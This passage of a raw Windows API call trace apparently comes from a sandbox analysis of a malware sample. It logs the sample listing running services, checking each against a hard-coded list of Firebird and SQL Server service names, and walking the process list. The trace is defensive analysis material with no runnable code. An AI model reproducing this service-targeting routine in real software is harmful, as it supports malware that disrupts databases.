[0184.940] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0184.940] lstrlenW (lpString="NgcSvc") returned 6 [0184.940] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0184.940] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0184.940] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0184.940] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0184.940] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0184.940] lstrlenW (lpString="NlaSvc") returned 6 [0184.940] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0184.940] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0184.940] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0184.940] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0184.940] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0184.940] lstrlenW (lpString="nsi") returned 3 [0184.941] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0184.941] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0184.941] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0184.941] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0184.941] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0184.941] lstrlenW (lpString="PcaSvc") returned 6 [0184.941] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0184.941] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0184.941] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0184.941] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0184.941] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0184.941] lstrlenW (lpString="PlugPlay") returned 8 [0184.941] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0184.941] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0184.941] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0184.941] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0184.941] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0184.941] lstrlenW (lpString="Power") returned 5 [0184.941] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0184.941] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0184.941] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0184.941] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0184.941] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0184.941] lstrlenW (lpString="ProfSvc") returned 7 [0184.941] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0184.941] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0184.941] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0184.941] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0184.942] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0184.942] lstrlenW (lpString="RpcEptMapper") returned 12 [0184.942] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0184.942] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0184.942] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0184.942] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0184.942] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0184.942] lstrlenW (lpString="RpcSs") returned 5 [0184.942] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0184.942] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0184.942] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0184.942] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0184.942] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0184.942] lstrlenW (lpString="SamSs") returned 5 [0184.942] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0184.942] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0184.942] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0184.942] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0184.942] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0184.942] lstrlenW (lpString="Schedule") returned 8 [0184.942] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0184.942] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0184.942] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0184.942] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0184.942] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0184.942] lstrlenW (lpString="SecurityHealthService") returned 21 [0184.942] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0184.943] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0184.943] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0184.943] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0184.943] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0184.943] lstrlenW (lpString="SENS") returned 4 [0184.943] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0184.943] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0184.943] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0184.943] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0184.943] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0184.943] lstrlenW (lpString="ShellHWDetection") returned 16 [0184.943] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0184.943] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0184.943] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0184.943] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0184.943] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0184.943] lstrlenW (lpString="Spooler") returned 7 [0184.943] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0184.943] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0184.943] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0184.943] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0184.943] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0184.943] lstrlenW (lpString="StateRepository") returned 15 [0184.943] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0184.943] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0184.943] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0184.943] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0184.943] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0184.943] lstrlenW (lpString="SysMain") returned 7 [0184.944] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0184.944] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0184.944] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0184.944] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0184.944] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0184.944] lstrlenW (lpString="SystemEventsBroker") returned 18 [0184.944] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0184.944] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0184.944] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0184.944] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0184.944] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0184.944] lstrlenW (lpString="Themes") returned 6 [0184.944] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0184.944] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0184.944] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0184.944] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0184.944] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0184.944] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0184.944] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0184.944] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0184.944] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0184.944] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0184.944] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4121fa0 | out: hHeap=0x420000) returned 1 [0184.944] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x544 [0185.173] Process32FirstW (in: hSnapshot=0x544, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0185.174] Process32NextW (in: hSnapshot=0x544, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0185.174] lstrlenW (lpString="System") returned 6 [0185.174] Process32NextW (in: hSnapshot=0x544, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0185.175] lstrlenW (lpString="smss.exe") returned 8 [0185.175] Process32NextW (in: hSnapshot=0x544, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0185.175] lstrlenW (lpString="csrss.exe") returned 9 [0185.175] Process32NextW (in: hSnapshot=0x544, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0185.176] lstrlenW (lpString="wininit.exe") returned 11 [0185.176] Process32NextW (in: hSnapshot=0x544, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0185.176] lstrlenW (lpString="csrss.exe") returned 9 [0185.176] Process32NextW (in: hSnapshot=0x544, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0185.177] lstrlenW (lpString="winlogon.exe") returned 12 [0185.177] Process32NextW (in: hSnapshot=0x544, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x240, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0185.177] lstrlenW (lpString="services.exe") returned 12 [0185.177] Process32NextW (in: hSnapshot=0x544, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0185.178] lstrlenW (lpString="lsass.exe") returned 9 [0185.178] Process32NextW (in: hSnapshot=0x544, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x224, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0185.178] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0185.178] Process32NextW (in: hSnapshot=0x544, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0185.179] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0185.179] Process32NextW (in: hSnapshot=0x544, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0185.179] lstrlenW (lpString="svchost.exe") returned 11 [0185.179] Process32NextW (in: hSnapshot=0x544, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0185.180] lstrlenW (lpString="svchost.exe") returned 11 [0185.180] Process32NextW (in: hSnapshot=0x544, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x224, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0185.180] lstrlenW (lpString="dwm.exe") returned 7 [0185.181] Process32NextW (in: hSnapshot=0x544, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3f, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0185.181] lstrlenW (lpString="svchost.exe") returned 11 [0185.181] Process32NextW (in: hSnapshot=0x544, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0185.182] lstrlenW (lpString="svchost.exe") returned 11 [0185.182] Process32NextW (in: hSnapshot=0x544, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0185.182] lstrlenW (lpString="svchost.exe") returned 11 [0185.182] Process32NextW (in: hSnapshot=0x544, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0185.183] lstrlenW (lpString="svchost.exe") returned 11 [0185.183] Process32NextW (in: hSnapshot=0x544, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0185.183] lstrlenW (lpString="svchost.exe") returned 11 [0185.183] Process32NextW (in: hSnapshot=0x544, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0185.184] lstrlenW (lpString="svchost.exe") returned 11 [0185.184] Process32NextW (in: hSnapshot=0x544, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0185.184] lstrlenW (lpString="svchost.exe") returned 11 [0185.184] Process32NextW (in: hSnapshot=0x544, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x508, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0185.185] lstrlenW (lpString="svchost.exe") returned 11 [0185.185] Process32NextW (in: hSnapshot=0x544, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0185.185] lstrlenW (lpString="svchost.exe") returned 11 [0185.185] Process32NextW (in: hSnapshot=0x544, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0185.186] lstrlenW (lpString="svchost.exe") returned 11 [0185.186] Process32NextW (in: hSnapshot=0x544, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0185.186] lstrlenW (lpString="spoolsv.exe") returned 11 [0185.187] Process32NextW (in: hSnapshot=0x544, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x690, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0185.187] lstrlenW (lpString="svchost.exe") returned 11 [0185.187] Process32NextW (in: hSnapshot=0x544, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0185.188] lstrlenW (lpString="audiodg.exe") returned 11 [0185.188] Process32NextW (in: hSnapshot=0x544, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0185.188] lstrlenW (lpString="sihost.exe") returned 10 [0185.188] Process32NextW (in: hSnapshot=0x544, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x70c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0185.189] lstrlenW (lpString="svchost.exe") returned 11 [0185.189] Process32NextW (in: hSnapshot=0x544, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0185.189] lstrlenW (lpString="taskhostw.exe") returned 13 [0185.189] Process32NextW (in: hSnapshot=0x544, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0185.190] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0185.190] Process32NextW (in: hSnapshot=0x544, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0185.190] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0185.190] Process32NextW (in: hSnapshot=0x544, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0185.191] lstrlenW (lpString="Memory Compression") returned 18 [0185.191] Process32NextW (in: hSnapshot=0x544, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x33, th32ParentProcessID=0x98c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0185.191] lstrlenW (lpString="explorer.exe") returned 12 [0185.191] Process32NextW (in: hSnapshot=0x544, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0185.192] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0185.192] Process32NextW (in: hSnapshot=0x544, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0185.192] lstrlenW (lpString="SearchUI.exe") returned 12 [0185.192] Process32NextW (in: hSnapshot=0x544, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0185.193] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0185.193] Process32NextW (in: hSnapshot=0x544, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0185.193] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0185.193] Process32NextW (in: hSnapshot=0x544, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x9a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe")) returned 1 [0185.194] lstrlenW (lpString="dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe") returned 58 [0185.194] Process32NextW (in: hSnapshot=0x544, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0185.194] lstrlenW (lpString="dllhost.exe") returned 11 [0185.194] Process32NextW (in: hSnapshot=0x544, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0185.195] CloseHandle (hObject=0x544) returned 1 [0185.195] Sleep (dwMilliseconds=0x1f4) [0185.791] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x408e1e0 [0185.791] EnumServicesStatusExW (in: hSCManager=0x408e1e0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0) returned 0 [0185.792] GetLastError () returned 0xea [0185.792] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x1bc4) returned 0x4052988 [0185.792] EnumServicesStatusExW (in: hSCManager=0x408e1e0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4052988, cbBufSize=0x1bc4, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4052988, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0) returned 1 [0185.793] CloseServiceHandle (hSCObject=0x408e1e0) returned 1 [0185.794] lstrlenW (lpString="Appinfo") returned 7 [0185.794] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0185.794] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0185.794] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0185.794] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0185.794] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0185.794] lstrlenW (lpString="AppXSvc") returned 7 [0185.794] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", 